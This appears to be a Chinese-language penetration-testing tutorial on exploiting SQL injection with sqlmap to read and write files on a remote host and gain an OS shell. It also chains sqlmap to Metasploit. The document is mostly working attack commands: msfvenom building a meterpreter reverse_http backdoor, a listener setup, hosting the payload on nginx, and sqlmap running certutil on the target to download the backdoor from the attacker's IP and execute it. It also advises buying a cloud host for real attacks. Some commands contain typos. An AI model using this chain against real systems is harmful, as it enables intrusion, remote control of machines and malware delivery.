一、进行文件读写操作
1.1 前提条件
高权限
目录有读写权限secure_file_priv = " "
1.2 测试目标
第一步:用抓包的方式获取请求测试站点的数据包 可以使用Burpsuite
第二步:将抓到的数据包,保存到sqlmap目录下的a.txt
第三步:进行测试python sqlmap.py -r a.txt --purge
其他测试
测试用户 python sqlmap.py -r a.txt --current-user python sqlmap.py -r a.txt --is-dba
1.3 进行文件读写
--file-read "文件名"
--file-write "源文件" --file-dest "目标文件" 将源文件中内容读出,然后写入到目标文件中
案例一:读取远程主机上D盘下n1.txt 中的内容
python sqlmap.py -r a.txt --file-read "d:/n1.txt"
案例二:将本地主机中,F盘下的n1.txt中的内容读取出来,写入到远程主机的D盘下的a09.php中
python sqlmap.py -r a.txt --file-write "F:/n1.txt" --file-dest "D:/a09.php"
二、获取主机shell
2.1 前提条件
- 高权限
- 目录有读写权限
- secure_file_priv = " "
- 数据库用户有读写权限
注意:
- 仅对MySQL、MSSQL、PosgreSQL有效
2.2 基本原理
获取shell
注入攻击的最终目的就是为了获取目标主机的控制权,也就是为了获取目标主机的shell。
sqlmap能够在数据库所在服务器的操作系统上运行任意的命令
格式:
- sqlmap -u "URL" --os-shell 获取系统交互
- sqlmap -u "URL" --os-cmd=命令 直接执行系统命令
执行命令的原理
- 原理就是在执行--os-shell 或 --os-cmd=xxx的时候,会上传一个 upload 木马后,再上传一个cmd shell
- 当 --os-shell 退出后,会调用后门脚本删除上传文件后,进行自删除
- 在MySQL和PostgreSQL中,sqlmap可以上传一个包含两个用户自定义函数,分别为sys_exec()和sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
- 在Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:如果该存储过程被关闭了(Microsoft SQL Server 的2005及以上版本默认关闭),sqlmap则会将其重新打开;如果该存储过程不存在,sqlmap则会重新创建它,当用户请求标准输出,sqlmap将使用任何可用的SQL注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
- 如果堆叠查询没有被Web应用识别出来,并且 DBMS 为MySQL,加入后端DBMS和Web服务器在同一台服务器上,则仍可以通过利用SELECT 语句中的INTO OUTFILE,在根目录可写目录中写shell。
2.3 获取shell
说明
目标网站在Win10虚拟机中
禁用了secure_file_priv
操作步骤
也可以直接执行命令
python sqlmap.py -r 2.txt --os-cmd=ipconfig
注意:
这里所执行的命令,可以是任意命令,比如下载命令,因此可以控制远程主机下载恶意程序
2.4 联合msf
msf的简单介绍
后渗透工具
用于实现内网渗透和提权
基本思路
第一步:基于msf生成后门程序
第二步:将后门程序上传到目标主机可以访问的服务器之上【云主机】
第三步:在目标主机上进行远程下载,将后面程序下载到目标主机
实现流程
打开kali
1、启动msf
msfconsole
2、创建后门
msfvenom -p windows/meterpreter/reverse_http lhost=172.16.100.222 lport=5050 -f exe -o sql.exe
- lhost=172.16.100.222 后门服务端地址【kali地址】
- lport=5050 后门服务端端口【kali端口】
- -f exe 生成后门文件类型是exe文件
- -o sql.exe 指定生成的后门文件名
3、服务端开始监听反弹链接信息【kali中】
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 5050
msf6 exploit(multi/handler) > run[*] Started HTTP reverse handler on http://0.0.0.0:5050 #看到此信息,说明已经开始监听
4、将生成的后门文件放到目标主机可以访问的服务器上
在真实环境中,可以购买一个云主机,本例中,直接在kali中安装了一个nginx作为服务器就可以,然后将生成sql.exe放到nginx的网站跟目录中即可
apt-get install nginx
systemctl enable nginx
systemctl start nginx
lsof -i :80cd /var/www/html
echo "<h1>Hello Word</h1>" >index.html
将做好的sql.exe放到网站根目录
mv sql.exe /var/www/html/
5、在目标主机上执行名
通过sql注入漏洞,在目标主机上执行下载命令,下载sql.exe
python sqlmap.py -r 2.txt --of-cmd="certutil -urlcache -sqlit -f http://172.16.100.222/sql.exe c:/sql.exe"
然后再在目标主机上执行这个后门程序
python sqlmap.py -r 2.txt --os-cmd="c:/sql.exe"
一旦这个程序被运行,就会主动连接外部的172.16.100.222的5050端口
此时,在msf上会发现目标主机上线了
可以执行命令看看